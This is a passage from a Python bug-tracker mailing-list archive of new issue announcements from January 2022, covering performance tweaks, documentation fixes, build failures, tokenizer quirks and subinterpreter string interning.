advantages of iterators. The ostensible reason for the two pass code is that the single pass variant is numerically unstable when implemented with floating point accumulators. However, this code uses fractions throughout, so the accumulation is exact. Changing to a single pass saves memory, doubles the speed, and simplifies the upstream code in variance(), pvariance(), stdev(), and pstdev(). ---------- components: Library (Lib) messages: 409692 nosy: rhettinger, steven.daprano priority: normal severity: normal status: open title: Convert statistics sum of squares to a single pass algorithm type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:30:08 2022 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 04 Jan 2022 17:30:08 +0000 Subject: [New-bugs-announce] [issue46258] Minor algorithmic improvements for math.isqrt Message-ID: <1641317408.82.0.590764539045.issue46258@roundup.psfhosted.org> New submission from Mark Dickinson : There are a couple of minor algorithmic improvements possible for the math.isqrt fast path (which is used for nonnegative integers smaller than 2**64). On my machine those improvements produce a little over a 10% speedup. The current algorithm for values under 2**64 involves exactly four division instructions, corresponding to four Newton steps. The proposal is to: - 1. Replace the first division with a table lookup. The necessary table is extremely small: 12 entries at one byte per entry. - 2. Arrange for the return type of the _approximate_sqrt helper function to be uint32_t rather than uint64_t. That means that the correction step only involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit multiplication. The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 < 2**64`, from which it follows that `u <= 2**32`. So the only possible case where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that case the top 31 bits of `n` are completely determined and since the first steps of the algorithm only depend on the topmost bits of `n`, it's easy to follow through the algorithm and see that it's not possible for `u` to be `2**32` in that case. (We always get `u = 128` from the lookup, followed by `u = 255` after the first division, then `u = 65536` after the second.) ---------- components: Extension Modules messages: 409693 nosy: mark.dickinson priority: normal severity: normal stage: commit review status: open title: Minor algorithmic improvements for math.isqrt type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:09:08 2022 From: report at bugs.python.org (John Holman) Date: Tue, 04 Jan 2022 18:09:08 +0000 Subject: [New-bugs-announce] [issue46259] float formatting error? Message-ID: <1641319748.57.0.432504835042.issue46259@roundup.psfhosted.org> New submission from John Holman : Example: str(10000.12345678901234) Out[24]: '10000.123456789011' shouldn't the last digit should be 2? ---------- messages: 409696 nosy: johngholman priority: normal severity: normal status: open title: float formatting error? type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:31:12 2022 From: report at bugs.python.org (Matt Delengowski) Date: Tue, 04 Jan 2022 20:31:12 +0000 Subject: [New-bugs-announce] [issue46260] Misleading SyntaxError on f-string Message-ID: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> New submission from Matt Delengowski : Example code ``` foo = 1 f"blank (open paren {foo )" ``` Error report File "", line 1 f"blank (open paren {foo )" ^ SyntaxError: f-string: unmatched ')' The problem is due to unmatched '}' however. ---------- components: Parser messages: 409709 nosy: Delengowski, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Misleading SyntaxError on f-string type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:46:55 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:46:55 +0000 Subject: [New-bugs-announce] [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs Message-ID: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> New submission from Erlend E. Aasland : The sqlite3 docs say that lastrowid is set to None after executemany(), or after execute()'ing statements that are not INSERTs or REPLACEs. This is not true; in those cases, lastrowid is preserved. lastrowid is only None in a pristine cursor. Suggesting to reword the docs so they harmonise with the implementation. Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For example: >>> import sqlite3 >>> cx = sqlite3.connect(":memory:") >>> cu = cx.cursor() >>> cu.lastrowid >>> cu.execute("select 1") >>> cu.lastrowid 0 This behaviour is consistent across current main through 3.7 (though in 2.7, the behaviour is consistent with the docs, so it probably changed a long time ago). I'm not sure it's worth noting this side effect in the docs though. ---------- assignee: docs at python components: Documentation messages: 409713 nosy: docs at python, erlendaasland, lemburg priority: normal severity: normal status: open title: [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:36:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 04 Jan 2022 22:36:29 +0000 Subject: [New-bugs-announce] [issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` Message-ID: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> New submission from Nikita Sobolev : I've noticed that `enum.Flag._missing_` has some uncovered paths. For example, this error is never checked: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/enum.py#L1222-L1225 The same method for `Enum` has good coverage: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/test/test_enum.py#L2278-L2325 I've added two simple test cases for `Flag` and `IntFlag` that check this. ---------- components: Tests messages: 409717 nosy: sobolevn priority: normal severity: normal status: open title: Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:09:03 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:09:03 +0000 Subject: [New-bugs-announce] [issue46263] FreeBSL buiildbots cannot compile Python Message-ID: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : Seems that the FreeBSD buildbots cannot compile Python 3.11 anymore: LD_LIBRARY_PATH=/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build CC='cc -pthread' LDSHARED='cc -pthread -shared ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/./setup.py", line 49, in from distutils.command.build_ext import build_ext ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/command/build_ext.py", line 13, in from distutils.sysconfig import customize_compiler, get_python_version ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/sysconfig.py", line 53, in _config_vars = get_config_vars() ^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 621, in get_config_vars _init_posix(_CONFIG_VARS) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 482, in _init_posix _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_sysconfigdata_d_freebsd14_x86_64-unknown-freebsd14' *** [sharedmods] Error code 1 make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build https://buildbot.python.org/all/#/builders/483/builds/1408 ---------- messages: 409719 nosy: lukasz.langa, pablogsal priority: release blocker severity: normal status: open title: FreeBSL buiildbots cannot compile Python versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 22:43:54 2022 From: report at bugs.python.org (Frank Feuerbacher) Date: Wed, 05 Jan 2022 03:43:54 +0000 Subject: [New-bugs-announce] [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR Message-ID: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> New submission from Frank Feuerbacher : This blasted Turkish I will be the death of us all... https://www.unicode.org/versions/Unicode14.0.0/ch05.pdf has a lovely graphic on page 238 of the behavior of upper/lower casing of the various I's and when locale is Turkish or not. It seems that Python 3.9.5 is broken, and I see no evidence that version 10 has fixed it. Basically, U-0049 (I) should lower case to U-131 (?) and vice-versa, when locale is tr_TR. The rules are different for other locales. ---------- files: foo.py messages: 409733 nosy: fbacher priority: normal severity: normal status: open title: 'I'.lower() should give non dotted i for LANG=tr_TR versions: Python 3.9 Added file: https://bugs.python.org/file50541/foo.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 03:07:18 2022 From: report at bugs.python.org (Jeffery To) Date: Wed, 05 Jan 2022 08:07:18 +0000 Subject: [New-bugs-announce] [issue46265] Error when cross compiling for hardfloat MIPS Message-ID: <1641370038.04.0.916167704495.issue46265@roundup.psfhosted.org> New submission from Jeffery To : The Python package for OpenWrt was updated to 3.10 recently and we found that builds are failing for MIPS 24Kf (original report at https://github.com/openwrt/packages/issues/17217): mipsel_24kc+24kf_gcc-11.2.0_musl/lib -znow -zrelro -L/builder/shared-workdir/build/sdk/build_dir/target-mipsel_24kc+24kf_musl/Python-3.10.0 -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/usr/lib -L/builder/shared-workdir/build/sdk/staging_dir/target-mipsel_24kc+24kf_musl/lib -fno-semantic-interposition -fprofile-generate -Xlinker -export-dynamic -o python Programs/python.o -L. -lpython3.10 -ldl -lpthread -lm -lz -lm /builder/shared-workdir/build/sdk/staging_dir/toolchain-mipsel_24kc+24kf_gcc-11.2.0_musl/bin/../lib/gcc/mipsel-openwrt-linux-musl/11.2.0/../../../../mipsel-openwrt-linux-musl/bin/ld: /builder/shared-workdir/build/sdk/build_dir/target-mipsel_24kc+24kf_musl/Python-3.10.0/libpython3.10.so: undefined reference to `__fn_local_PyFloat_FromDouble.localalias' collect2: error: ld returned 1 exit status make[7]: *** [Makefile:602: python] Error 1 This error is only occurring for mipsel_24kc+24kf and not our other mips targets (none of which have an FPU). I found that compilation will succeed if I disable optimizations or patch out the use of -fno-semantic-interposition, though I'm still not sure what is the exact cause of the error. ---------- components: Build messages: 409735 nosy: jefferyto priority: normal severity: normal status: open title: Error when cross compiling for hardfloat MIPS type: compile error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 04:38:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 09:38:22 +0000 Subject: [New-bugs-announce] [issue46266] Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` Message-ID: <1641375502.02.0.241699757209.issue46266@roundup.psfhosted.org> New submission from Nikita Sobolev : For some reasons useful day constants (`MONDAY` ... `SUNDAY`) from `calendar` are not properly recognised. Several problems: 0. Not all code inside uses these constants 1. They are not tested. Only `.MONDAY` and `.SUNDAY` are tested to be present in https://github.com/python/cpython/blob/main/Lib/test/test_calendar.py#L508-L511 2. They are not in `__all__` 3. They are partially documented. There are some notes about them in https://docs.python.org/3/library/calendar.html#calendar.setfirstweekday > Sets the weekday (0 is Monday, 6 is Sunday) to start each week. The values :const:`MONDAY`, :const:`TUESDAY`, :const:`WEDNESDAY`, :const:`THURSDAY`, :const:`FRIDAY`, :const:`SATURDAY`, and :const:`SUNDAY` are provided for convenience. For example, to set the first weekday to Sunday: > import calendar > calendar.setfirstweekday(calendar.SUNDAY) But, they are not clickable, because, for example, ":const:`MONDAY`" does not exist in docs index. So, my plan is: 0. Improve constant usage in the source code to make it more readable 1. Test that constants are there 2. Add them to `__all__` as a part of public API 3. Improve their docs ---------- components: Library (Lib) messages: 409742 nosy: sobolevn priority: normal severity: normal status: open title: Improve day constants (`MONDAY` ... `SUNDAY`) in `calendar.py` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 06:14:04 2022 From: report at bugs.python.org (Ruben Vorderman) Date: Wed, 05 Jan 2022 11:14:04 +0000 Subject: [New-bugs-announce] [issue46267] gzip.compress incorrectly ignores level parameter Message-ID: <1641381244.64.0.268434919386.issue46267@roundup.psfhosted.org> New submission from Ruben Vorderman : def compress(data, compresslevel=_COMPRESS_LEVEL_BEST, *, mtime=None): """Compress data in one shot and return the compressed string. compresslevel sets the compression level in range of 0-9. mtime can be used to set the modification time. The modification time is set to the current time by default. """ if mtime == 0: # Use zlib as it creates the header with 0 mtime by default. # This is faster and with less overhead. return zlib.compress(data, level=compresslevel, wbits=31) header = _create_simple_gzip_header(compresslevel, mtime) trailer = struct.pack(" _______________________________________ From report at bugs.python.org Wed Jan 5 07:27:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 12:27:29 +0000 Subject: [New-bugs-announce] [issue46268] Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x Message-ID: <1641385649.73.0.864941133479.issue46268@roundup.psfhosted.org> New submission from Nikita Sobolev : Log: ``` --- sharedmods --- LD_LIBRARY_PATH=/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build CC='cc -pthread' LDSHARED='cc -pthread -shared ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/./setup.py", line 49, in from distutils.command.build_ext import build_ext ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/command/build_ext.py", line 13, in from distutils.sysconfig import customize_compiler, get_python_version ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/sysconfig.py", line 53, in _config_vars = get_config_vars() ^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 621, in get_config_vars _init_posix(_CONFIG_VARS) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 482, in _init_posix _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_sysconfigdata_d_freebsd14_x86_64-unknown-freebsd14' *** [sharedmods] Error code 1 make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build ``` Link: https://buildbot.python.org/all/#/builders/483/builds/1409 ---------- components: Build messages: 409760 nosy: sobolevn priority: normal severity: normal status: open title: Buildbot failure for buildbot/AMD64 FreeBSD Non-Debug / Shared 3.x type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 10:15:11 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 05 Jan 2022 15:15:11 +0000 Subject: [New-bugs-announce] [issue46269] '__new__' is never shown in `dir(SomeEnum)` Message-ID: <1641395711.58.0.712103911409.issue46269@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `__new__` is marked to be special-cased in `Enum.__dir__`. It is generally ignored: But, (I think that was the original idea), when `__new__` is overridden, it should be added to the output. But, this line is problematic: https://github.com/python/cpython/blame/46e4c257e7c26c813620232135781e6c53fe8d4d/Lib/enum.py#L656 Why? Because `self.__new__` is always `EnumMeta.__new__`. Original `__new__` is renamed to `_new_member_`. This behavior is also not tested. So, my proposal is: let's always remove this method from `__dir__`. Why? - If we modify the check above to compare `_new_member_`, we will show `__new__` as the output. It is kinda misleading - `__new__` is not supposed to be overloaded in `EnumMeta`, it is very special - `__new__` is a very basic thing. It would be kinda strange not to see it for some cases, but to see it for others. For example, all (?) other data types always show `__new__`, even if it is not explicitly defined: ``` >>> class A: ... def __new__(*args, **kwargs): ... ... >>> assert '__new__' in dir(A) >>> class B: ... ... >>> assert '__new__' in dir(B) ``` I guess being consistent here (we don't show `__new__` at all times) is better. I will send a PR that removes these two lines in a moment! Any other ideas are much appreciated! Related: - https://bugs.python.org/issue45535 - https://github.com/python/cpython/pull/29316 ---------- components: Library (Lib) messages: 409771 nosy: AlexWaygood, ethan.furman, sobolevn priority: normal severity: normal status: open title: '__new__' is never shown in `dir(SomeEnum)` type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 11:11:18 2022 From: report at bugs.python.org (Jan) Date: Wed, 05 Jan 2022 16:11:18 +0000 Subject: [New-bugs-announce] [issue46270] Comparison operators in Python Tutorial 5.7 Message-ID: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> New submission from Jan : In chapter 5.7 in the official Python tutorial (see: https://docs.python.org/3/tutorial/datastructures.html), there is the following paragraph: "The comparison operators in and not in check whether a value occurs (does not occur) in a sequence. The operators is and is not compare whether two objects are really the same object. All comparison operators have the same priority, which is lower than that of all numerical operators." I believe that "in" and "not in" are rather membership operators than comparison operators. I think a differentiation of operator types in one or two sentences would be helpful. ---------- assignee: docs at python components: Documentation messages: 409782 nosy: docs at python, realjanpaulus priority: normal severity: normal status: open title: Comparison operators in Python Tutorial 5.7 type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:27:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 05 Jan 2022 18:27:14 +0000 Subject: [New-bugs-announce] [issue46271] frozen modules are not regenerated on bytecode magic change when cross building Message-ID: <1641407234.76.0.448260785945.issue46271@roundup.psfhosted.org> New submission from Christian Heimes : The Makefile rules for frozen header files have a dependency on $(FREEZE_MODULE_BOOTSTRAP_DEPS) or $(FREEZE_MODULE_DEPS). For normal builds this dependency will trigger a refresh of the frozen header files when the byte code magic changes: FREEZE_MODULE_BOOTSTRAP_DEPS=Programs/_freeze_module FREEZE_MODULE_DEPS=_bootstrap_python Both binaries depend on object files which indirectly have a dependency on all core header files $(PYTHON_HEADERS). However cross builds use an external Python binary. Neither $(FREEZE_MODULE_BOOTSTRAP_DEPS) nor $(FREEZE_MODULE_DEPS) add an indirect dependency on $(PYTHON_HEADERS). The frozen header files are not rebuilt when any header file like opcode.h is modified. This causes hard to debug issues like https://bugs.python.org/issue46009#msg409770 Fix: all frozen header files should also depend on $(PYTHON_HEADERS) ---------- components: Cross-Build messages: 409794 nosy: Alex.Willmer, christian.heimes, gvanrossum priority: normal severity: normal status: open title: frozen modules are not regenerated on bytecode magic change when cross building type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 13:54:45 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 05 Jan 2022 18:54:45 +0000 Subject: [New-bugs-announce] [issue46272] Fix bitwise and logical terminology in python.gram Message-ID: <1641408885.92.0.0799891531401.issue46272@roundup.psfhosted.org> New submission from Raymond Hettinger : In the section "Comparison operators", all mentions of "bitwise" should be "binary". The section "Logical operators" should be retitled "Bitwise operators". See: https://docs.python.org/3/reference/expressions.html#binary-bitwise-operations ---------- assignee: pablogsal components: Documentation messages: 409796 nosy: pablogsal, rhettinger priority: normal severity: normal status: open title: Fix bitwise and logical terminology in python.gram versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 15:07:21 2022 From: report at bugs.python.org (Mikhail Terekhov) Date: Wed, 05 Jan 2022 20:07:21 +0000 Subject: [New-bugs-announce] [issue46273] Document what asyncio.wait() and asyncio.as_completed() do if canceled. Message-ID: <1641413241.77.0.852203859914.issue46273@roundup.psfhosted.org> New submission from Mikhail Terekhov : It is not clear from documentation what happens with awaitable objects when these are canceled. ---------- assignee: docs at python components: Documentation, asyncio messages: 409801 nosy: asvetlov, docs at python, termim, yselivanov priority: normal severity: normal status: open title: Document what asyncio.wait() and asyncio.as_completed() do if canceled. versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 18:12:47 2022 From: report at bugs.python.org (Jeremy) Date: Wed, 05 Jan 2022 23:12:47 +0000 Subject: [New-bugs-announce] [issue46274] backslash creating statement out of nothing Message-ID: <1641424367.42.0.632530824135.issue46274@roundup.psfhosted.org> New submission from Jeremy : A source of one or more backslash-escaped newlines, and one final newline, is not tokenized the same as a source where those lines are "manually joined". The source ``` \ \ \ ``` produces the tokens NEWLINE, ENDMARKER when piped to the tokenize module. Whereas the source ``` ``` produces the tokens NL, ENDMARKER. What I expect is to receive only one NL token from both sources. As per the documentation "Two or more physical lines may be joined into logical lines using backslash characters" ... "A logical line that contains only spaces, tabs, formfeeds and possibly a comment, is ignored (i.e., no NEWLINE token is generated)" And, because these logical lines are not being ignored, if there are spaces/tabs, INDENT and DEDENT tokens are also being unexpectedly produced. The source ``` \ ``` produces the tokens INDENT, NEWLINE, DEDENT, ENDMARKER. Whereas the source (with spaces) ``` ``` produces the tokens NL, ENDMARKER. ---------- components: Parser messages: 409811 nosy: lys.nikolaou, pablogsal, ucodery priority: normal severity: normal status: open title: backslash creating statement out of nothing versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 20:25:48 2022 From: report at bugs.python.org (William Navaraj) Date: Thu, 06 Jan 2022 01:25:48 +0000 Subject: [New-bugs-announce] [issue46275] caret location for syntax error pointing with f-strings Message-ID: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org> New submission from William Navaraj : Currently for non-f-string syntax errors, the caret points to the correct location of the syntax errors Example 1: ``` a=foo)+foo()+foo() ``` a=foo)+foo()+foo() ^ SyntaxError: unmatched ')' For f-string syntax errors, the caret points two locations after the f-string (almost correct location of the f-strings as a whole but will be more helpful as much as possible to point where exactly the syntax error is) Example 2: ``` temp=f"blank ({foo(}" ``` temp=f"blank ({foo(}" ^ SyntaxError: f-string: closing parenthesis '}' does not match opening parenthesis '(' Example 3: ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ``` temp=f"blank ({foo)blank ({foo()}) blank foo()})" ^ SyntaxError: f-string: unmatched ')' ---------- components: Parser messages: 409813 nosy: lys.nikolaou, pablogsal, williamnavaraj priority: normal severity: normal status: open title: caret location for syntax error pointing with f-strings versions: Python 3.11, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 5 23:21:31 2022 From: report at bugs.python.org (Zombo) Date: Thu, 06 Jan 2022 04:21:31 +0000 Subject: [New-bugs-announce] [issue46276] ImportError: DLL load failed while importing Message-ID: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> New submission from Zombo : This code fails: >>> import _frida Traceback (most recent call last): File "", line 1, in ImportError: DLL load failed while importing _frida: The specified module could not be found. works as expected with Python 3.9 https://github.com/frida/frida-python/blob/main/frida/__init__.py ---------- messages: 409815 nosy: 89z priority: normal severity: normal status: open title: ImportError: DLL load failed while importing type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 01:16:09 2022 From: report at bugs.python.org (Yongfan Ming) Date: Thu, 06 Jan 2022 06:16:09 +0000 Subject: [New-bugs-announce] [issue46277] '''...''' error Message-ID: <1641449769.57.0.266073806633.issue46277@roundup.psfhosted.org> New submission from Yongfan Ming : define: str_='''... ... .. .. . ... ''' get: str='...\n\n..\n..\n.\n\n' if '...' in the second line, all '...' will be not read. ---------- components: Unicode messages: 409816 nosy: ezio.melotti, sumowi, vstinner priority: normal severity: normal status: open title: '''...''' error type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 06:36:02 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 06 Jan 2022 11:36:02 +0000 Subject: [New-bugs-announce] [issue46278] AbstractEventLoop.call_* should reflect the 'context' argument Message-ID: <1641468962.51.0.838105430784.issue46278@roundup.psfhosted.org> New submission from Andrew Svetlov : Actual implementations of asyncio event loops (both Unix and Windows) support contextvars and accept `context` argument in `loop.call_*()` methods. Abstract event loop definition doesn't it. It is not a bug but a signature incompatibility that can embarrass human readers and machine analyzing tools. ---------- messages: 409829 nosy: asvetlov priority: normal severity: normal status: open title: AbstractEventLoop.call_* should reflect the 'context' argument _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 07:57:08 2022 From: report at bugs.python.org (FeRD (Frank Dana)) Date: Thu, 06 Jan 2022 12:57:08 +0000 Subject: [New-bugs-announce] [issue46279] [docs] Minor information-ordering issue in __main__ doc Message-ID: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> New submission from FeRD (Frank Dana) : The expanded documentation on top-level environments is quite an improvement, but there's one passage that causes some confusion. In the section '__main__.py in Python Packages', towards the end, it reads: """ This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py like the venv one mentioned above are preferred. """ Problem is, that's the first mention of venv anywhere in the document. There's a 'See also:' box right BELOW the sentence in question that references venv and its minimal __main__.py, but it hasn't been introduced yet when that first mention comes along. ---------- assignee: docs at python components: Documentation messages: 409839 nosy: docs at python, ferdnyc priority: normal severity: normal status: open title: [docs] Minor information-ordering issue in __main__ doc versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 08:07:52 2022 From: report at bugs.python.org (Xinrong Lin) Date: Thu, 06 Jan 2022 13:07:52 +0000 Subject: [New-bugs-announce] [issue46280] About vulnerabilities in Cpython native code Message-ID: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> New submission from Xinrong Lin <414039482 at qq.com>: I am currently doing some research on the security of CPython. I used the open source vulnerability analysis engine, Infer(https://fbinfer.com/), to scan the native code of CPython 3.10.0. The scan results show that there are still a number of vulnerabilities in the CPython native code, such as Null dereference, Uninitialized variable, Resource/Memory leak, etc. Moreover, I found that some of the vulnerabilities are related to Python/C API. I enclose the vulnerability report for your reference. Based on the research of the result, I tried to design a tool to automatically detect and repair vulnerabilities in CPython and make this tool available. See: https://github.com/PVMPATCH/PVMPatch Python is my favourite programming language. I sincerely hope that I can help Python become stronger and safer. I hope this discovery can be useful for you to develop Python in the future. ---------- components: Build files: CPython3.10.0_vulnerability_report.txt messages: 409841 nosy: 414039482 priority: normal severity: normal status: open title: About vulnerabilities in Cpython native code type: security versions: Python 3.10 Added file: https://bugs.python.org/file50544/CPython3.10.0_vulnerability_report.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:45:56 2022 From: report at bugs.python.org (Bob Rivoir) Date: Thu, 06 Jan 2022 14:45:56 +0000 Subject: [New-bugs-announce] [issue46281] Python 3.10.1 build errors on Ubuntu 18.04 Message-ID: <1641480356.22.0.0866007957527.issue46281@roundup.psfhosted.org> New submission from Bob Rivoir : _hashlib and _ssl modules failed to compile on my Ubuntu 18.04 system. Attached is a file with the error outputs. ---------- files: python-3.10.1-build-errors.txt messages: 409853 nosy: rhr242 priority: normal severity: normal status: open title: Python 3.10.1 build errors on Ubuntu 18.04 type: compile error versions: Python 3.10 Added file: https://bugs.python.org/file50545/python-3.10.1-build-errors.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 09:52:27 2022 From: report at bugs.python.org (James Gerity) Date: Thu, 06 Jan 2022 14:52:27 +0000 Subject: [New-bugs-announce] [issue46282] print() docs do not indicate its return value Message-ID: <1641480747.24.0.778563280527.issue46282@roundup.psfhosted.org> Change by James Gerity : ---------- assignee: docs at python components: Documentation nosy: SnoopJeDi, docs at python priority: normal severity: normal status: open title: print() docs do not indicate its return value versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 10:21:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 06 Jan 2022 15:21:22 +0000 Subject: [New-bugs-announce] [issue46283] [subinterpreters] Unicode interned strings must not be shared between interpreters Message-ID: <1641482482.19.0.863029352248.issue46283@roundup.psfhosted.org> New submission from STINNER Victor : My commit ea251806b8dffff11b30d2182af1e589caf88acf made Unicode interned strings per interpreter to avoid accessing the same Python object from two different interpreters, to avoid race conditions on its reference count. Problem: the change introduced the bpo-46006 regression in _PyUnicode_EqualToASCIIId() and type update_slot() functions which make the assumption that if two strings are interned and their pointers are not equal: these strings are not equal. I proposed PR 30123 to fix these two functions, but then questions have been asked about the overall goal, running multiple Python interpreters in parallel in the same process (bpo-40512): https://bugs.python.org/issue46006#msg408002 bpo-46006 was blocking the Python 3.11.0a4 release, Python 3.10 was affected and there were more and more affected projects: * jep: https://github.com/ninia/jep/issues/358 * mod_wsgi: https://github.com/GrahamDumpleton/mod_wsgi/issues/729 * weechat-matrix: https://github.com/poljar/weechat-matrix/issues/293 * Fedora issue about mod_wsgi and weechat-matrix: https://bugzilla.redhat.com/show_bug.cgi?id=2030621 So I decided to just revert the change on interned strings: * main branch: commit 35d6540c904ef07b8602ff014e520603f84b5886 * 3.10 branch: commit 72c260cf0c71eb01eb13100b751e9d5007d00b70 (with changes to keep the ABI backward compatibility) These interned strings are preventing again to run multiple interpreters in parallel, two subinterpreters must not access the same Python object: see bpo-40533. I suggest to write a PEP to explain the rationale, and reapply my commit ea251806b8dffff11b30d2182af1e589caf88acf with PR 30123. 